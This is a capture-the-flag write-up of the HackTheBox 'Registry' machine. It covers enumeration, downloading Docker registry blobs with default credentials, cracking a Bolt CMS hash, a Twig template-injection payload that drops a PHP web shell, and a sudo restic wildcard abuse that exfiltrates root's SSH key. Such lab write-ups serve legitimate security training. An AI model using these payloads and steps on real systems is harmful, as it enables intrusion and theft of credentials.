HTB Writeup: Registry
Make sure your backups are in safe hands
Enumeration
nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-02 16:27 IST
Nmap scan report for 10.129.187.31 (10.129.187.31)
Host is up (0.081s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
| 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_ 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.14.0 (Ubuntu)
443/tcp open ssl/http nginx 1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Not valid before: 2019-05-06T21:14:35
|_Not valid after: 2029-05-03T21:14:35
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.22 seconds
-
Web servers are listening on port
TCP/80
andTCP/443
. -
The CN from the certificate at
TCP/443
says:docker.registry.htb
-
It’s a blank page on visiting the website.
-
Directory fuzzing is done using
ffuf
and the wordlistSeclists/Discovery/Web-Content/common.txt
./v2/
is found to be a valid directory.ffuf -u 'https://docker.registry.htb/FUZZ/' -w /usr/share/Seclists/Discovery/Web-Content/common.txt # render/https://www.google.com [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 79ms] # v2 [Status: 301, Size: 39, Words: 3, Lines: 3, Duration: 79ms] # :: Progress: [4712/4712] :: Job [1/1] :: 502 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
-
The website on
https://docker.registry.htb/v2/
asks for authentication. On basic testing, credentials are found to beadmin:admin
-
The response is in JSON format. The application uses authentication via
Authentication
header using Basic Authentication which is in the formatAuthorization: Basic base64(username:password)
-
Also, the response headers also contain,
Docker-Distribution-Api-Version
header, which indicates it’s a docker registry version 2.0. -
The documentation contains the URL endpoints which are accessible.
User Access
Docker Registry
-
A
GET
request to/v2/_catalog
returns a list of repositories available. Only one repository namedbolt-image
is available. -
A
GET
request to/v2/bolt-image/tags/list
returns all the tags available for the imagebolt-image
. Onlylatest
tag is available. -
A
GET
request to/v2/bolt-image/manifests/latest
returns checksums for fs-layer blobs, which can be used to download the fs blobs itself. The registry uses a legacy certificate and hencedocker
daemon gives error while trying to use it to download the image from registry. -
These can be downloaded using the following bash script. The blobs will be stored in
fs
directory.#!/bin/bash mkdir fs curl -kso- 'https://docker.registry.htb/v2/bolt-image/manifests/latest' -H "Authorization: Basic $(echo -n 'admin:admin' | base64 -w0)" | jq '.fsLayers[].blobSum' -r > sha256sums.txt for checksum in $(cat sha256sums.txt); do curl -ks "https://docker.registry.htb/v2/bolt-image/blobs/${checksum}" -H 'Authorization: Basic YWRtaW46YWRtaW4=' -o "./fs/$(echo -n0 $checksum | cut -d':' -f2 ).gz" done
-
The blobs are Gzip compressed data. The largest is found out to be
2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791.gz
of 100MB. -
Decompressing
2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791.gz
gives a POSIX tar archive. -
The file system is then extracted from the archive.
-
There is an encrypted SSH key present at
root/.ssh/id_rsa
-
The password for the
id_rsa
file is found in theroot/.viminfo
file. -
The credentials are
bolt:SSHKey(GkOcz221Ftb3ugog)
to connect to host machine.
Privilege Escalation.
Enumeration
-
The remote target seems to be blocking foreign connections. No
wget
orcurl
command seem to be working on any port to download enumeration scripts. -
Since a SSH connection is available,
scp
can be used to copy the files. -
linpeas.sh
results show following:-
A Bolt CMS installation config file at
/var/www/html/bolt/app/config/config.yml
-
admin
credentials hashes for the same Bolt CMS deployment. -
The Bolt CMS is accessible on
/bolt/
on port TCP/80.
-
-
Hash is identified as one of
bcrypt($pass)
,bcrypt(md5($pass))
orbcrypt(sha1($pass))
. The hash was cracked usingrockyou.txt
andhashcat
with modebcrypt($pass) : 3200
-
admin:strawberry
for admin on Bolt CMS page. -
The login page for the CMS is located at
<BASE_URL>/bolt/login
by default. Since the base URL ishttp://registry.htb/bolt/
on remote target, the CMS login page is found athttp://registry.htb/bolt/bolt/login
Exploitation
-
The website is using the theme
base-2018
, and Bolt CMS uses Twig Template engine. To check for injection, the templates in/bolt/bolt/file/edit/themes/base-2018/partials/
directory can be modified. -
To test for injection, a line is added at the end of
_footer.twig
with content{{ 7*7 }}
, which should return 49 on home page. It turns out to be injectable. -
Since the remote target is not allowing remote connections from ssh session, a web shell can be written into
/var/www/html/
directory as the last rule in nginx configuration is passing/*.php
files tofastcgi_pass unix:/var/run/php/php7.2-fpm.sock;
, which is UNIX sock listener for PHP execution. -
To do so, the following payload can be placed in the
_footer.twig
file:{{ ["echo PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTs/Pgo= | base64 -d > /var/www/html/web_shell.php"] | filter('system') }} // PD9waHAgcGFzc3RocnUoJF9HRVRbImNtZCJdKTs/Pgo= is base64 encoded <?php passthru($_GET["cmd"]);?>
-
After visiting the homepage, the payload is triggered but the web page displays an error.
-
This can be safely ignored, and the web shell is found accessible at
http://registry.htb/web_shell.php?cmd=<COMMAND>
-
The command
sudo -l
, shows that the userwww-data
can run following command as super user without password:Matching Defaults entries for www-data on bolt: env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on bolt: (root) NOPASSWD: /usr/bin/restic backup -r rest*
-
[Restic](https://restic.net/)
is a backup utility that can back up the system on remote Restic server. -
Since the target host doesn’t allow remote connections, a local
[rest-server](https://github.com/restic/rest-server)
can be started on the session asbolt
, and the wildcard in sudo no password can be exploited by specifying theroot
directory to backup and server to connect onrest:http://localhost:<port>
. -
The commands for this exploitation are as follows:
# On SSH Session with user "bolt", in directory /tmp/ mkdir -p /tmp/repository ./rest-server --path /tmp/repository/ --no-auth # --path to specify the path to keep the backup data # --no-auth to disable authentication based backup. # In another SSH Session restic -r rest:http://127.0.0.1:8000/ init # Set a password: password echo -n 'password' > /tmp/password_file
# On web shell sudo /usr/bin/restic backup -r rest:http://127.0.0.1:8000/ --password-file /tmp/password /root
-
To see the files available, snapshot ID is required. For listing snapshots available following command is run:
restic snapshots --password-file /tmp/password_file -r rest:http://127.0.0.1:8000/
-
The
ls
command can list the files available in a snapshot.restic ls --password-file /tmp/password_file -r rest:http://127.0.0.1:8000/ c2b42bde
-
The
dump
command can be used to print a file from the above list to stdout. A private key is present in the folder/root/.ssh/
,/root/.ssh/id_rsa
.restic dump --password-file /tmp/password_file -r rest:http://127.0.0.1:8000/ c2b42bde /root/.ssh/id_rsa
-
This private key can be used to obtain a SSH session as the root user on the remote target.
restic dump --password-file /tmp/password_file -r rest:http://127.0.0.1:8000/ c2b42bde /root/.ssh/id_rsa > id_rsa chmod 0600 ./id_rsa
-
A successful SSH session as root is obtained.
The remote host is completely compromised.